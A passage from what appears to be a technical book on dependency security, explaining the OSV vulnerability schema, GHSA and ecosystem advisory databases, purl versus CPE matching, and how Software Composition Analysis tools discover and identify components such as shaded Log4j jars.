Everything above shares one original sin for dependency work: it was designed around *products*, and it bolts version information on awkwardly. **OSV (Open Source Vulnerabilities)**, initiated by Google, starts from the opposite premise — the unit of a vulnerability is a **package in a specific ecosystem, affected over specific version ranges** — and this single design choice removes most of the pain.

The OSV schema

OSV is two things: an **open schema** (the "OSV Schema," a documented JSON format anyone can produce and consume) and **osv.dev** (Google's aggregating database and API that speaks it). The schema's core is the `affected` array. Each entry names a package by **ecosystem + name** (and, increasingly, a **purl**), and describes affected versions two ways: an explicit enumerated `versions` list and/or `ranges` built from **events**.

```
{
  "id": "GHSA-jfh8-c2jp-5v3q",
  "aliases": ["CVE-2021-44228"],
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core",
        "purl": "pkg:maven/org.apache.logging.log4j/log4j-core"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            { "introduced": "2.0-beta9" },
            { "fixed": "2.15.0" }
          ]
        }
      ]
    }
  ],
  "references": [ { "type": "ADVISORY", "url": "https://..." } ]
}
```

The `events` model is the elegant part. A range is an ordered list of events along a version timeline: `introduced` marks where the vulnerability begins, `fixed` (or `last_affected`, or a `limit`) marks where it ends. Multiple `introduced`/`fixed` pairs in one range express a vulnerability that was fixed, regressed, and fixed again. The `type` field says *how to compare versions*: `SEMVER` for ecosystems with true semver, `ECOSYSTEM` for ecosystem-specific version ordering (Maven's, PyPI's PEP 440, etc.), or `GIT` for commit-range ordering by walking the graph. That last one matters: OSV can express "affected between these two *commits*," which is exactly what you need for Go modules, C/C++ projects vendored by hash, and anything without clean release versions.

```
flowchart LR
    subgraph "affected entry"
      P["package:
ecosystem=Maven
name=...log4j-core
purl=pkg:maven/...."]
      R["range type=ECOSYSTEM"]
      P --- R
      R --> E1["introduced: 2.0-beta9"]
      E1 --> E2["fixed: 2.15.0"]
    end
    Q["Query: is 2.14.1 affected?"] --> Cmp["compare 2.14.1
with ECOSYSTEM ordering:
2.0-beta9 <= 2.14.1 < 2.15.0"]
    Cmp --> Ans["AFFECTED"]
```

Why this is dramatically better for scanning

Contrast the OSV query with the CPE query. To decide whether *your* `log4j-core:2.14.1` is affected, an OSV-based scanner does something you can verify by hand: take the package's **identity** — no guessing, because a Maven coordinate *is* the OSV package name and maps directly to a purl — and compare `2.14.1` against the affected ranges using that ecosystem's own version-ordering rules. There is no lossy product-string mapping, no analyst in the loop, no ambiguity about *which* `log4j` this is. The ecosystem is part of the key, so cross-ecosystem name collisions cannot occur. And because the affected ranges are authored by people who know the package (frequently the maintainers themselves, via GHSA or an ecosystem DB), they are far more likely to be correct and complete than a re-derived CPE range.

The other half of OSV's value is **aggregation**. osv.dev ingests and normalizes a long list of source databases into the one schema and exposes them through a single API and bulk export: GitHub's GHSA, PyPA/PySec (Python), RustSec (Rust), the Go vulnerability database, npm data, the Global Security Database, OSS-Fuzz-discovered bugs, Debian, Alpine, and more. Each source keeps its native identifier; OSV ties them together via the `aliases` field (so a GHSA and its CVE and a RUSTSEC ID all cross-reference). One query against osv.dev therefore consults the union of these databases — including the enormous open-source long tail that never got a CVE.

The reference tool is **`osv-scanner`** (Go), which reads your lockfiles and SBOMs, extracts package coordinates, and queries the OSV data. A typical run:

```
$ osv-scanner scan --lockfile package-lock.json
┌──────────────────────────────────────┬──────┬────────────┬─────────┬──────
──────┐
│ OSV URL                              │ ECO. │ PACKAGE    │ VERSION │ FI
XED     │
├──────────────────────────────────────┼──────┼────────────┼─────────┼──────
──────┤
│ https://osv.dev/GHSA-....            │ npm  │ minimist   │ 1.2.5   │ 1.
2.6     │
└──────────────────────────────────────┴──────┴────────────┴─────────┴──────
──────┘
```

The scanner never touches CPE. It matches on ecosystem-native coordinates and version ranges, which is why, for pure dependency scanning, OSV-based tooling generally produces cleaner results than CPE-based tooling.

GHSA and the ecosystem databases

OSV is a federation, so it is worth knowing the members whose data it carries — because their editorial policies, identifier schemes, and precision differ, and those differences leak into your results.

GitHub Security Advisories (GHSA)

GitHub Security Advisories carry IDs of the form `GHSA-xxxx-xxxx-xxxx` (three groups of four characters from a restricted base32 alphabet — deliberately *not* year-based, so they carry no coverage-year semantics). The **GitHub Advisory Database** is the curated collection of these, spanning the ecosystems GitHub's dependency graph understands (npm, PyPI, Maven, NuGet, RubyGems, Go, Rust, Composer, Pub, Actions, and more). GitHub is itself a **CNA**, so it can mint a CVE for an advisory; a typical GHSA record therefore carries **both** a GHSA ID and a CVE ID in its aliases, and stores affected data as package + version ranges (it publishes the whole database in OSV format). GHSA is the data source behind **Dependabot** alerts: when Dependabot tells you a dependency is vulnerable, it is matching your dependency graph against the GitHub Advisory Database.

The GHSA↔CVE relationship is many-faceted: a GHSA may have a CVE (assigned by GitHub or by another CNA), may predate its CVE, or may exist without one (for advisories where no CVE was requested). Treat GHSA and CVE as **cross-referenced aliases for the same underlying flaw**, not as a strict one-to-one mapping — the `aliases` graph in OSV is what stitches them together.

The ecosystem-specific databases

Several language communities run their own advisory databases, and these are frequently the *origin* of an advisory that only later (if ever) acquires a CVE:

- **RustSec** (`RUSTSEC-YYYY-NNNN`) — the Rust advisory database in the `rustsec/advisory-db` repo, consumed by `cargo audit` and `cargo deny` . Community-run, high quality, covers crates from crates.io.
- **PyPA Advisory Database / PySec** (`PYSEC-YYYY-NNN`) — the Python Packaging Authority's advisory database, published in OSV format, the canonical machine-readable source for PyPI vulnerabilities (`pip-audit` uses it).
- **Go vulnerability database** (`vuln.go.dev` , IDs `GO-YYYY-NNNN`) — curated by the Go team, and notable for feeding **`govulncheck`** , which does something almost unique among scanners: **symbol-level reachability**. Instead of only asking "is a vulnerable *version* present," govulncheck uses the Go database's record of *which functions* are vulnerable plus static call-graph analysis to ask "does your code actually *call* the vulnerable symbol?" That collapses a large fraction of false positives before they are ever reported — a preview of Chapter 7's theme, built into the ecosystem's own tooling.
- **npm advisories** — historically `npm audit` 's own database, now sourced from the GitHub Advisory Database.
- **FriendsOfPHP** **`security-advisories`** — the YAML advisory database behind Composer/Symfony security checks for PHP packages.
- **GitLab Advisory Database** — GitLab's curated database powering its dependency scanning (a mix of community and proprietary tiers).
- **Sonatype OSS Index** — a free API and database (the lighter, public cousin of Sonatype's commercial data) queried by several build-time plugins.

The important synthesis: **OSV federates most of these into one schema and one API**, keyed by package + ecosystem + range, with `aliases` tying every identifier for a flaw together. That is what lets a modern scanner consult the union of CVE-derived data *and* the CVE-less ecosystem long tail in a single, consistent query.

purl vs CPE: the universal coordinate

Underlying OSV's clean matching is **purl (Package URL)**, a compact, ecosystem-aware syntax for naming exactly one package:

```
pkg:maven/org.apache.logging.log4j/log4j-core@2.14.1
pkg:npm/minimist@1.2.5
pkg:pypi/requests@2.19.1
pkg:golang/github.com/gin-gonic/gin@v1.6.0
pkg:cargo/tokio@1.0.0
```

The grammar is `pkg:type/namespace/name@version?qualifiers#subpath`. The **type** *is* the ecosystem (`maven`, `npm`, `pypi`, `golang`, `cargo`, `gem`, `nuget`, `deb`, ...), which is exactly the dimension CPE lacks. A purl is *derivable* from a package manager coordinate mechanically, with no analyst and no guessing — which is the whole point. purl is also the package-identity backbone of the **CycloneDX** and **SPDX** SBOM formats (Book 3), so the same coordinate that names a component in your SBOM inventory is the key you match against OSV. CPE and purl are not competitors so much as tools for different jobs: **CPE for coarse product/OS asset inventory, purl for precise package-dependency identity.** For everything in this book, purl is the coordinate you want.

Making sense of it: why two scanners disagree

You can now answer the question that opened the chapter concretely. Point two reputable scanners at the identical repository and they hand you different findings for at least these reasons, usually several at once:

1. **Different source databases.** One scanner leads with NVD/CPE; another leads with OSV (GHSA + ecosystem DBs). During and after the 2024 NVD backlog these diverged sharply: a CVE with no NVD CPE data is *invisible* to the CPE-first tool but present in the OSV-first tool via GHSA.
2. **CPE-vs-purl matching.** The CPE-based matcher may guess a CPE that does not match NVD's recorded string (false negative) or collide

with an unrelated product (false positive), while the purl-based matcher compares exact ecosystem coordinates.

3. **Version-range interpretation.** Even given the "same" range, ecosystems order versions differently. Is `1.2.0-rc1` before or after `1.2.0`? Does a Python epoch or a Maven qualifier change ordering? A scanner using generic semver on a PEP 440 or Maven version can land on the wrong side of a boundary. OSV's per-`type` comparison exists precisely to make this deterministic; a tool that does not honor it will disagree at range edges.
4. **Reachability.** `govulncheck` reports only vulnerabilities whose vulnerable *symbol* your code can reach; a version-only scanner reports every vulnerable version present. Same repo, very different counts — and the smaller list is often the more useful one (Chapter 7).
5. **Deduplication and aliasing.** One tool collapses a GHSA and its CVE into a single finding via `aliases`; another lists them separately, inflating the count for the same flaw.

A concrete worked comparison: CVE/CPE vs OSV/purl

Take Log4Shell against your `log4j-core:2.14.1`.

As a CVE consumed via NVD/CPE, the scanner must (a) decide that your Maven coordinate `org.apache.logging.log4j:log4j-core` corresponds to some CPE — say `cpe:2.3:a:apache:log4j:*` — a mapping that is external, manual, and was *not being freshly produced during the 2024 backlog*; then (b) check `2.14.1` against the CPE match range `versionStartIncluding 2.0-beta9 / versionEndExcluding 2.15.0`. If the CPE string it guessed differs from NVD's, the match silently fails. If NVD had not yet enriched the CVE, there is no range to check at all.

As the same flaw consumed via OSV (`GHSA-jfh8-c2jp-5v3q`, alias `CVE-2021-44228`), the scanner takes your coordinate directly as `pkg:maven/org.apache.logging.log4j/log4j-core@2.14.1`, finds the `affected` entry keyed on that exact Maven package, and compares `2.14.1` against `introduced 2.0-beta9 / fixed 2.15.0` using Maven's own version ordering. No string guessing, no analyst, no dependence on NVD enrichment. It matches, correctly, every time.

Same vulnerability, same version of your code, two data models — and only one of them is robust to a real-world operating failure of the

upstream (the NVD backlog). That is the argument for OSV/purl in one example.

How a scanner turns feeds into findings

Every SCA scanner, under the branding, runs the same pipeline. Understanding it tells you which knobs actually matter.

```
flowchart TD
    subgraph Ingest
      F1["NVD (CVE + CPE + CVSS)"] --> Norm
      F2["OSV.dev (GHSA, PySec,
RustSec, Go, ...)"] --> Norm
      F3["EPSS + KEV"] --> Norm
      Norm["Normalize to one model:
id + aliases + affected(purl+ranges)
+ severity + exploit signals"]
    end
    Norm --> DB[("Local vuln DB")]
    subgraph Match
      Inv["Your inventory:
lockfile / SBOM →
purl coordinates"] --> M["Match:
purl identity +
ecosystem-aware
range compare"]
      DB --> M
      M --> Dedup["Dedup by alias graph;
optional reachability filter"]
    end
    Dedup --> Out["Findings:
prioritized by KEV/EPSS/CVSS
+ reachability"]
```

The identifier plumbing you have to get right is concentrated in two places. In **normalize**, you must build the *alias graph* correctly — collapsing CVE, GHSA, RUSTSEC, GO-*, and PYSEC identifiers that refer to one flaw into one logical vulnerability — or you will double-count and your severity/exploit signals will attach to the wrong node. In match*, you must extract correct purls from lockfiles (each ecosystem has its own coordinate quirks) and honor per-ecosystem version ordering, or you will misfire at range boundaries. Everything else is tuning. Chapter 6 builds this pipeline in full.

The database and identifier landscape at a glance

System	Owner / operator	Unit of identification	Version model	Strengt
CVE	MITRE (CISA-funded), federated CNAs	Global vuln ID + prose description	None (identifier only; 5.x has optional `affected`)	Universa stable, deduplic identifie
NVD	NIST	Enriches CVEs with CVSS, CWE, **CPE**	CPE match ranges (`versionStart/End…`)	CVSS + CWE; historica canonica enrichm
CPE	NIST (naming scheme)	Product string (`cpe:2.3:a:vendor:product:…`)	Version bounds on a product	Fine for applianc asset inventor
CVSS	FIRST.org	Severity of a flaw (0–10 + vector)	n/a	Common severity languag v4.0 mo expressi
EPSS	FIRST.org	Exploit *probability* per CVE (0–1)	n/a	Data-dri likelihoo signal
KEV	CISA	CVEs with confirmed active exploitation	n/a	High-precisio "exploite now" list

System	Owner / operator	Unit of identification	Version model	Strengt
OSV	Google (schema) + osv.dev	**Package + ecosystem + ranges**	events (introduced/ fixed), SEMVER/ ECOSYSTEM/ GIT	Precise, ecosyste native, aggrega many DI purl-key
GHSA	GitHub	GHSA ID (+ CVE alias), per ecosystem	package + version ranges (OSV format)	Broad coverage powers Dependa maintain authored
Ecosystem DBs (RustSec, PySec, Go, …)	Each community	Ecosystem-native ID + package	package + ranges (often OSV)	Deep, ti CVE-less long tail, adds syn precision
purl	package-url spec	Exactly one package (`pkg:type/ns/name@ver`)	n/a (identity)	Ecosyste aware, mechani SBOM-n

Distributed-systems lens

At the scale this book assumes — hundreds of services, dozens of teams, many languages, many deploys a day — the vulnerability-data problem stops being "look up a CVE" and becomes "operate a correlation system." A few principles follow directly from everything above.

Normalize to one internal model, and favor OSV/purl over CVE/ CPE as its spine. Do not let each scanner's native output be your source of truth; ingest the feeds yourself (NVD for CVSS, OSV for affected-ranges and the OSS long tail, EPSS and KEV for prioritization) and normalize to a single record: a stable internal vuln ID, an **alias set** (CVE + GHSA + ecosystem IDs), `affected` expressed as **purl + ecosystem-aware ranges**, plus severity and exploit signals. Keying on purl means the *same* coordinate that identifies a component in your SBOM inventory

(Book 3) is the key you match against — no CPE guessing in the hot path. This is also your insurance against upstream single-points-of-failure: a normalized model that can be fed from OSV/GHSA/ecosystem data degrades gracefully when NVD stalls, as it did through 2024.

Correlate against a central SBOM inventory, not against repositories one at a time. The right architecture is a service that continuously ingests SBOMs from every build (Book 3) into an inventory of "which purl, at which version, is deployed where," and re-evaluates that inventory against the normalized vuln feed as *new advisories arrive* — not only at build time. When the next Log4Shell drops at 2 a.m., the question "which of our services ship an affected version" must be a database query against known inventory, answerable in seconds, not a fleet-wide rescan. This inverts the usual scanner model (scan a repo, get findings) into a fleet model (maintain inventory, match incoming advisories), which is the only version that scales to hundreds of services and gives you incident-response speed.

Treat the false-positive rate as a first-class cost. Across hundreds of services, a scanner that over-reports does not just annoy — it *destroys the signal*. If every service carries fifty "critical" findings and the true exploitable set is three, teams learn to ignore the queue, and the next real KEV entry drowns. This is the economic argument, at fleet scale, for everything in the next chapters: **reachability analysis** (Chapter 7) to filter the vulnerable-but- unreachable, per-ecosystem symbol-level tools like `govulncheck` where available, and **VEX** (Book 3, Chapter 6) to record, once and machine-readably, "we assessed CVE-X in service-Y and it is not affected because the vulnerable code path is unreachable" — so that assessment suppresses the finding fleet-wide instead of being re-litigated in every team's backlog. Prioritize with **KEV then EPSS then CVSS, gated by reachability**, not with a raw CVSS sort.

Accept that the upstream data is imperfect infrastructure and design for it. The 2024–2025 turmoil is not an aberration to wait out; it demonstrates that this data rests on thin, government-funded plumbing with real failure modes. Build so that no *single* database is load-bearing, cache the feeds locally (do not query osv.dev or NVD synchronously in your build critical path), and record provenance on every finding — *which* database and *which* record produced it — so that when a source is disputed, withdrawn, or wrong, you can re-evaluate every finding it

caused. Ordinary distributed-systems hygiene, applied to vulnerability data: redundant sources, local caches, provenance.

Key takeaways

- **A CVE is an identifier plus a description — nothing more.** Severity, affected ranges, and exploit status are added later by other parties (NVD, OSV, ecosystem DBs) or not at all. Confusing the identifier with the risk assessment is the root error in this domain.
- **CVE assignment is federated across hundreds of CNAs**, which scales but sacrifices consistency; and a large fraction of real open-source vulnerabilities **never receive a CVE**, so CVE/NVD-only tooling is structurally blind to the OSS long tail.
- **NVD is an enrichment layer, and its CPE matching is the wrong tool for dependencies.** CPE names products, not package coordinates; the coordinate→CPE mapping is manual, lossy, and ambiguous — the direct cause of a large class of false positives and negatives.
- **The 2024 NVD enrichment backlog and the April 2025 MITRE/CVE funding scare** are real and consequential, but must be stated carefully: NVD slowed CVSS/CPE enrichment starting around February 2024; a near-lapse of MITRE's CVE contract around April 16, 2025 was averted by a last-minute CISA funding extension, and the independent CVE Foundation was formed. The long-term governance model remains unsettled — do not overclaim.
- **CVSS measures abstract severity, not your risk.** A base score encodes no reachability, no exploitation-in-practice, and no environment. Lead prioritization with **KEV** (exploited now) and **EPSS** (exploit probability), use CVSS as the severity axis, and gate on **reachability** (Chapter 7). CVSS 9.8 is a starting point, not a verdict.
- **OSV's key insight — vulnerabilities as package + ecosystem + version ranges (purl-keyed), not product strings — is what makes dependency scanning precise.** It removes the lossy CPE mapping, encodes ecosystem-aware version ordering, and aggregates GHSA and the ecosystem databases (RustSec, PySec, Go, …) into one queryable schema including the CVE-less long tail.
- **Two scanners disagree because of different databases, CPE-vs-purl matching, version-range interpretation, reachability, and**

alias deduplication — usually several at once. Building a single normalized model keyed on **purl**, with a correct alias graph, is what makes fleet results reconcilable.

- **At fleet scale, maintain a central SBOM inventory and match incoming advisories against it**, favor OSV/purl over CVE/CPE, treat the false-positive rate as a real cost that motivates reachability and VEX, and design for the upstream data being imperfect, single-point-of-failure infrastructure.

Further reading

- The CVE Program — official site, CNA rules, and program documentation (https://www.cve.org/).
- CVE JSON Record Format, schema 5.x, and the published CVE List (https://github.com/CVEProject/cvelistV5 and https://github.com/CVEProject/cve-schema).
- NVD — the National Vulnerability Database, and NIST's public statements on the enrichment status (https://nvd.nist.gov/).
- CISA "Vulnrichment" — the ADP enrichment program (https://github.com/cisagov/vulnrichment).
- The CVE Foundation announcement (April 2025) and contemporaneous reporting on the MITRE contract funding extension — read several sources and note the hedging in this chapter (https://www.thecvefoundation.org/).
- CVSS v3.1 specification, and CVSS v4.0 specification and user guide, FIRST.org (https://www.first.org/cvss/v3.1/specification-document and https://www.first.org/cvss/v4.0/specification-document).
- EPSS — the Exploit Prediction Scoring System model and data, FIRST.org (https://www.first.org/epss/).
- CISA Known Exploited Vulnerabilities Catalog and BOD 22-01 (https://www.cisa.gov/known-exploited-vulnerabilities-catalog).
- The OSV Schema specification and osv.dev documentation (https://ossf.github.io/osv-schema/ and https://osv.dev/).
- osv-scanner — the reference OSV scanner (https://github.com/google/osv-scanner).
- The GitHub Advisory Database and GHSA documentation (https://github.com/advisories and https://docs.github.com/en/code-security).

- Package URL (purl) specification (https://github.com/package-url/purl-spec).
- Ecosystem databases: RustSec advisory-db (https://rustsec.org/), the PyPA Advisory Database (https://github.com/pypa/advisory-database), and the Go vulnerability database with govulncheck (https://go.dev/security/vuln/).
- Common Weakness Enumeration (CWE), MITRE (https://cwe.mitre.org/).

Chapter 6 — Software Composition Analysis in Depth

What this chapter covers. Chapter 5 gave you the vulnerability *data* — the identifiers, the schemas, the databases, and why CPE and purl produce different answers. This chapter is about the machine that consumes that data: **Software Composition Analysis (SCA)**, the practice of discovering which open-source components your software contains and matching them against known vulnerabilities. On paper this is a lookup. In practice it is three hard problems stacked on top of each other — *what components are actually here*, *which of them are actually vulnerable*, and *what do we do about the thousands of findings that produces across a fleet* — and every one of them leaks false positives and false negatives. We take the pipeline apart stage by stage, survey the tool landscape honestly (open source and commercial, by capability category rather than by brand), map where scanning belongs across the SDLC, and then spend the back half of the chapter on the part nobody warns you about: operating SCA at the scale of hundreds of services without drowning your engineers in noise. We close by being blunt about what SCA does *not* find, because the most expensive mistake in this domain is believing that a green SCA gate means your software is secure.

Learning goals — after this chapter you should be able to:

- Describe the **three-stage SCA pipeline** — dependency discovery, matching, and results/policy — and explain the real mechanics and failure modes of each stage.
- Compare the **discovery methods** — manifest/lockfile parsing, build-graph integration, and binary/artifact scanning — and choose the

right one (or combination) for a given target, including the direct-vs-transitive distinction.

- Explain the **component-identification accuracy problem**: purl computation, hashing and binary fingerprinting, and the hard cases (shaded jars, statically linked C, minified JS, vendored copies) — the "where is Log4j, even shaded" problem.
- Place the major **open-source and commercial tools** in capability categories (version-matching, reachability, curated data, license, malware) without repeating vendor marketing, and explain the **SBOM-driven "scan once, re-match forever"** architecture.
- Map the **scan points across the SDLC** from IDE to admission control to continuous re-scanning of already-shipped artifacts.
- Design for the **alert-fatigue crisis**: prioritization, VEX suppression, dedup, central aggregation (the Dependency-Track pattern), and warn-then-enforce policy rollout.
- State precisely what SCA **cannot** do, so you neither over-trust it nor conflate it with security.

A note on boundaries. This chapter assumes Chapter 5's data model (CVE/NVD/OSV/GHSA, purl vs CPE, EPSS and KEV). It **describes** reachability analysis as an operational lever but leaves the mechanics — call-graph construction, symbol resolution, the limits of static analysis — to Chapter 7 (Reachability, Exploitability, and Prioritization). It **describes** SBOMs as the inventory substrate but leaves their formats (SPDX 3.0, CycloneDX 1.6) and generation to Book 3. It **describes** VEX as a suppression mechanism but leaves the format to Book 3, Chapter 6, and admission control to Book 6. And it deliberately keeps malicious-package detection at arm's length: that is a *different problem* with different tooling, covered in Chapter 4, and conflating it with vulnerability scanning is a category error we return to at the end.

What SCA actually is

Strip away the branding and every SCA tool does the same three things in the same order:

```
flowchart LR
    subgraph S1["1 · Discovery / inventory"]
      T["Target:
repo / build / artifact / image"] --> D["Extract components
→ purl coordinates
+ direct/transitive flags"]
    end
    subgraph S2["2 · Matching"]
      D --> M["Match components
against normalized
vuln data (Ch 5)"]
      VD[("Vuln DB:
OSV / NVD / GHSA
+ EPSS / KEV")] --> M
    end
    subgraph S3["3 · Results / policy"]
      M --> P["Dedup, prioritize,
suppress (VEX),
apply policy gate"]
      P --> O["Findings / exit code /
report / ticket"]
    end
```

The stages are genuinely independent, and this independence is the single most useful thing to internalize about SCA architecture. Discovery produces an **inventory** — a list of components, ideally as purls. Matching joins that inventory against a **vulnerability database**. Policy turns the matched findings into an **action**. Each stage has its own accuracy characteristics and its own failure modes, and — critically — the inventory and the vulnerability data change on completely different clocks. Your inventory changes when you change your dependencies (occasionally). The vulnerability data changes when the world discovers new flaws (constantly, against code you shipped months ago). Recognizing that these two clocks are decoupled is what leads to the SBOM-driven "scan once, re-match forever" architecture later in the chapter. Hold the three-stage picture in your head; everything below hangs off it.

Stage 1: dependency discovery

Discovery answers "what is in here?" It is the stage that most determines whether your results are correct, because **matching can only find vulnerabilities in components you discovered** — a component you miss is a false negative no vulnerability database can rescue. There are

three principal discovery methods, and they trade accuracy for cost in different directions.

Manifest and lockfile parsing

The cheapest method reads your dependency declarations directly: `package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`, `go.sum` / `go.mod`, `Cargo.lock`, `poetry.lock`, `requirements.txt`, `Gemfile.lock`, `pom.xml`, `gradle.lockfile`. The tool parses the file, extracts each package name and version, and emits purls. This is what `osv-scanner --lockfile`, `npm audit`, `pip-audit`, and Trivy's filesystem mode do by default.

The distinction between a **manifest** and a **lockfile** matters here. A manifest (`package.json`, `pom.xml`, `go.mod`, top-level `requirements.txt`) declares your *direct* dependencies, often as ranges (`^1.2.0`, `>=2,<3`). A lockfile records the *fully resolved graph* — every direct and transitive dependency pinned to an exact version, which is what actually gets installed (see Chapter 2 — Versioning, Resolution, and Lockfiles). **Scan the lockfile, not the manifest.** A manifest range like `^1.2.0` tells you a vulnerable `1.2.7` *might* be resolved; the lockfile tells you which version *is*. Scanning only the manifest gives you either false positives (flagging a range that resolves to a safe version) or false negatives (missing a transitive dependency the manifest never names).

The strengths of lockfile parsing are speed and precision *for what is declared*: it is essentially a parse plus a hash-table lookup, it runs in seconds, it needs no build, and it gives you exact resolved versions plus the direct-vs-transitive structure for free. The weakness is a hard boundary: **it sees only what the lockfile declares.** It is blind to

- **vendored code** — a third-party library copied into your source tree (`vendor/`, `third_party/`, a pasted-in single-file JSON parser) with no manifest entry;
- **bundled/undeclared dependencies** — code pulled in by a build step, a `curl | tar` in a Dockerfile, a git submodule, or a language runtime shipped alongside your app;
- **native/system libraries** — the OpenSSL, zlib, or glibc your binary links against, which no npm lockfile will ever mention;
- **stale or hand-edited lockfiles** — a lockfile that has drifted from what the build actually resolves.

Lockfile parsing is the right *default* precisely because most dependencies do come through the package manager, but it must not be your *only* method if you ship containers or native code.

Build-graph integration

The second method asks the build system itself what it resolved. Instead of parsing a file, the tool invokes the resolver — `mvn dependency:tree`, `gradle dependencies`, `npm ls --all`, `go list -deps -m all`, `pip install --dry-run` / `pipdeptree` — and reads the *actual resolved graph* for the current configuration.

This is more accurate than static lockfile parsing in the cases where resolution is dynamic or where no single lockfile captures the truth. Maven and Gradle are the canonical examples: their resolution involves version-conflict mediation, BOM imports, dependency management overrides, platform constraints, and profile/configuration-specific dependencies that a naive `pom.xml` read cannot reproduce. Only the build tool knows that `log4j-core` ended up at `2.14.1` after mediation across five paths that each requested a different version. Build-graph integration also cleanly distinguishes **direct** dependencies (edges from your root module) from **transitive** ones (everything reachable below them), and can separate scopes/configurations — `compile` vs `test` vs `runtime` — so you can, for example, decline to fail a build over a vulnerability that exists only in a test-scoped dependency never shipped to production.

The cost is real: it requires a working build environment with the right toolchain, network access to resolve dependencies, and time — for a large Gradle project, resolving the full graph can take minutes. It also runs *your* build logic, which is both the point (accuracy) and a constraint (you need the build to succeed to get a graph at all). At fleet scale, "every scan needs a green build" is a meaningful operational tax.

Binary and artifact scanning

The third method ignores manifests entirely and inspects a *built artifact* — a container image, a jar/war, a Go binary, an OS package, a filesystem — to identify the components actually present. This is the domain of **syft** (which produces an SBOM from an image or directory) and **Trivy** (which scans images, filesystems, and more). It is the only method that catches what the other two structurally miss: vendored code, bundled native

libraries, the OS packages in your base image, and anything a manifest never declared.

Binary scanning works by a combination of techniques layered together:

- **Package-database and metadata cataloging.** Inside a container, syft/Trivy read the OS package databases (`dpkg` / `/var/lib/dpkg/status` , `rpm` , `apk`) and the *installed* language-package metadata that ends up in the image — `*.dist-info` / `*.egg-info` for Python, `package.json` files under `node_modules` , jar `META-INF/MANIFEST.MF` and embedded `pom.properties` , Go build info embedded in the binary. Much of "binary" image scanning is really *installed-metadata* cataloging: the version is often sitting in a manifest inside the artifact, just not in a lockfile you controlled.
- **Embedded build metadata.** A Go binary compiled by modern toolchains embeds its module list and versions, readable with `go version -m binary` ; syft and Trivy read exactly this. This is remarkably reliable — the compiler recorded the truth.
- **File hashing and fingerprinting.** When there is no metadata — a lone `.so` , a jar with a stripped manifest, a minified JS blob — a scanner can hash files and compare against a database of known-component hashes, or fingerprint by structural signatures. This is where accuracy degrades, discussed next.

The strengths: binary scanning sees the *deployed reality*, including the base-image OS packages that dominate container CVE counts and the native libraries no language scanner touches. The weaknesses: it identifies components with lower confidence than a lockfile (a hash match is a guess, not an identity), it can miss things statically linked without recoverable metadata, and for OS packages it must map to distro-specific advisory data (Debian, Alpine, RHEL each maintain their own, with their own backport-patch semantics — a Debian-patched package may carry a fixed CVE at a version number NVD still calls vulnerable, a notorious false-positive source that Trivy and Grype handle via distro-specific feeds).

The direct-vs-transitive distinction

Whichever method you use, distinguishing direct from transitive dependencies is not cosmetic — it changes what action a finding implies. A vulnerability in a **direct** dependency you can usually fix yourself: bump

the version. A vulnerability in a **transitive** dependency you often cannot fix directly — you must persuade the direct dependency to update, override the resolved version (npm `overrides`, Gradle `resolutionStrategy`, Go `replace`, Maven `dependencyManagement`), or accept it. Empirically the large majority of vulnerable components in a typical graph are transitive, which is why "just update your dependencies" is glib advice: the vulnerable node is frequently three levels down, pinned by something you don't control. Good SCA output shows the **dependency path** to a vulnerable node (`your-app → foo@2 → bar@1 → vulnerable-baz@0.3`) so a human knows which lever to pull.

Discovery methods compared

Method	Mechanism	Sees	Misses	Cost	Best for
Manifest / lockfile parse	Static parse of declared deps	Declared direct + transitive (resolved, if lockfile)	Vendored, bundled, native/OS, undeclared	Very low (seconds, no build)	Fast PR/CI checks on source repos
Build-graph integration	Invoke the resolver, read resolved graph	Exact resolved graph incl. mediation, scopes, direct/transitive	Vendored/native not managed by the build tool	Medium–high (needs working build)	Maven/Gradle/complex resolution; accurate transitive graph
Binary / artifact scan	Catalog installed metadata + hash/fingerprint	Deployed reality: OS packages, native libs, vendored, bundled	Statically linked w/o metadata; lower ID confidence	Medium (needs the artifact)	Containers, released binaries, "what actually shipped"

The honest conclusion is that **no single method is complete**, and mature programs run a **hybrid**: lockfile/build-graph scanning at the source/PR stage for fast, precise feedback on what developers control, and binary/image scanning at the artifact stage to catch everything that

entered below the package manager. The two views disagree, and the disagreement is informative — a component that shows up in the image scan but not the source scan is exactly the vendored/bundled/native code your source-level tooling is blind to.

Stage 2: component identification and matching

Discovery hands matching a list of components. Two sub-problems now decide accuracy: **can we name the component precisely enough to match it** (identification), and **does our naming line up with how the vulnerability database names it** (matching).

Computing coordinates and the identification problem

For components that arrive through a package manager, identification is mechanical and reliable: the lockfile or build graph gives you ecosystem, name, and exact version, and you compute a purl directly — `pkg:npm/minimist@1.2.5`, `pkg:maven/org.apache.logging.log4j/log4j-core@2.14.1` (see Chapter 5 on purl). No guessing, no analyst. This is the happy path, and it is why source-level scanning of well-formed lockfiles is accurate.

The problem is everything that *didn't* arrive with a clean coordinate attached — and this is exactly where Log4Shell taught the industry a painful lesson. In December 2021 the operational question was not "is `log4j-core` vulnerable" (everyone knew the version range within hours) but "**where is log4j-core in our estate, including the copies we can't see?**" (see Book 1, Chapter 5 — Case Studies: xz, Codecov, Log4Shell). The hard cases:

- **Shaded and relocated jars.** Java "shading" (via the Maven Shade plugin or Gradle Shadow) copies a dependency's classes *into another jar*, often *relocating* the package names — `org.apache.logging.log4j` might be rewritten to `com.vendor.shaded.log4j` — to avoid classpath conflicts. The result is a jar whose `META-INF` may not mention Log4j at all and whose class names have been renamed. A lockfile scan of the shading project sees Log4j; a scan of a *downstream* consumer that depends on the fat jar sees only the fat jar. Finding shaded Log4j required class-level fingerprinting — scanning for the vulnerable `JndiLookup.class` regardless of the enclosing jar's name — which is precisely the kind of deep artifact inspection lockfile parsing cannot do.

- **Statically linked C/C++.** A binary that statically links OpenSSL or zlib contains the vulnerable code with *no manifest and no dynamic library to enumerate*. Identification falls back to fingerprinting: searching for version strings the library bakes in (`OpenSSL 1.1.1k`), matching function signatures, or hashing. This is inherently probabilistic and frequently fails to pin an exact version.
- **Minified/bundled JavaScript.** A webpack/rollup bundle concatenates and minifies dozens of npm packages into one `main.js`. The individual package identities and versions are largely erased; retrofit detection relies on residual fingerprints (a library's distinctive strings or code shape). This is why front-end SCA is best done at the *lockfile* stage, before bundling, not on the shipped bundle.
- **Vendored copies.** A single file copied from a library into your repo carries no version metadata at all. Content hashing against a corpus of known files is the only recourse, and it is best-effort.

